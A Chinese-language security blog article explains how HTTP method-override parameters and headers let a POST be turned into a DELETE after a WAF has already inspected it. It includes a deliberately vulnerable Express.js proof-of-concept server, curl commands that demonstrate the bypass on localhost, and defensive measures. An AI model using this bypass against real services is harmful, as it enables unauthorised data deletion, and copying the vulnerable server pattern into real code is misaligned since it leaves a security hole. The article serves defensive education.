官网:http://securitytech.cc/
Ghost HTTP 方法:HTTP 动词变异如何绕过现代 WAF 跨中间件层
引言
大多数 Web 应用防火墙(WAF)和 API 网关都自豪地宣传 “基于方法的保护”。
它们会阻止来自不可信来源的破坏性 HTTP 动词,如 DELETE、PUT 或 PATCH,认为这样就足以防止恶意操作。
但是,如果请求在 WAF 检查之后被修改,会发生什么呢?
当你的边缘 WAF 认为这是一个无害的 POST,但后台在几毫秒后把它改写成 DELETE 时,会发生什么?

图:攻击流程
元凶:HTTP 方法覆盖
为了支持只能发送 GET 或 POST 的老旧浏览器,许多 Web 框架引入了 Method Override(方法覆盖)。
它允许客户端通过以下方式发送替代的 HTTP 动词:
- 使用查询参数,例如
_method=DELETE -
- 或使用请求头,例如
X-HTTP-Method-Override: DELETE
- 或使用请求头,例如
示例:
POST /users/42?_method=DELETE HTTP/1.1
Host: example.com
Content-Type: application/json
当这个请求到达应用时,中间件(如 Express 的 method-override、Rails 的 Rack::MethodOverride 或 Spring 的 HiddenHttpMethodFilter)会内部修改请求:
原始请求: POST /users/42
中间件处理后: DELETE /users/42
对于处在边缘的 WAF,这只是一个普通的 POST。
但对于后台,它却是一个破坏性的 DELETE。
核心问题
这种 不同层之间的理解分歧——边缘和应用——产生了所谓的 幽灵方法(Ghost Method):

图:问题示意
在实际泄露案例中,调查人员可能在 WAF 日志中只看到无害的 POST 请求,却不知道应用内部数据已经被删除。
现实存在
在几个框架中,方法覆盖默认是 启用的:

图:受影响的技术
概念验证:传输中变异方法
我们用 Express.js 写了一个简单的 POC 服务器,使用中间件模拟,只允许用户用 GET 和 POST 查询数据库。
// server.js
const express = require("express");
const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(express.json());
// --- 方法覆盖 (手动,无依赖) ---
app.use((req, res, next) => {
const fromBody = req.body && req.body._method;
const fromHeader = req.headers["x-http-method-override"];
const override = fromBody || fromHeader;
if (override) req.method = String(override).toUpperCase();
next();
});
// --- 模拟 WAF ---
app.use((req, res, next) => {
req.originalMethod = req.method;
if (req.method === "DELETE")
return res.status(405).send("WAF: DELETE blocked");
next();
});
const USERS = new Map([["42", { id: "42", name: "alice" }]]);
app.delete("/users/:id", (req, res) => {
const existed = USERS.delete(req.params.id);
res.json({
action: "DELETE",
existed,
edgeMethod: req.originalMethod,
appMethod: req.method,
});
});
app.get("/users/:id", (req, res) =>
res.json({ user: USERS.get(req.params.id) || null })
);
app.listen(3000, () => console.log("Vuln on :3000"));
服务器在 3000 端口运行:

图:服务器运行中
我们可以查询用户:
curl -s http://localhost:3000/users/42 | jq

图:用户存在检查
如果直接发送 DELETE 方法,会被 WAF 阻止:
curl -s -X DELETE http://localhost:3000/users/42

图:DELETE 请求被阻止
但可以通过 POST + 覆盖 绕过(边缘看到 POST,应用删除数据),方法如下:
- 在 URL 末尾添加
_method=DELETE参数 -
- 或在 POST 请求中添加请求头
X-HTTP-Method-Override: DELETE
- 或在 POST 请求中添加请求头
curl -s -X POST 'http://localhost:3000/users/42?_method=DELETE' | jq

图:使用 _method=DELETE 覆盖

图:使用 HTTP 头覆盖
验证用户是否存在,可以看到 Alice 已被删除:

图:用户已删除
防御策略
1. 禁用公共接口的方法覆盖
如果不需要,完全移除:
app.use(require('method-override')());
2. 在边缘剥离覆盖标识
配置 WAF 或反向代理,丢弃包含以下内容的请求:
_method=DELETE|PUT|PATCH-
X-HTTP-Method-Override请求头
3. 记录原始和实际方法
总是同时记录 原始方法 和 覆盖后的方法:
req.originalMethod // 边缘
req.method // 覆盖后
总结
HTTP 方法覆盖是一个遗留的便利功能,却成为现代的盲点。当边缘和后台对请求的理解不一致时,安全控制形同虚设。检查你的框架,尽可能禁用 _method,确保 WAF 和应用使用相同的逻辑——因为一个看似 POST 实则 DELETE 的请求,不是功能,而是潜在漏洞。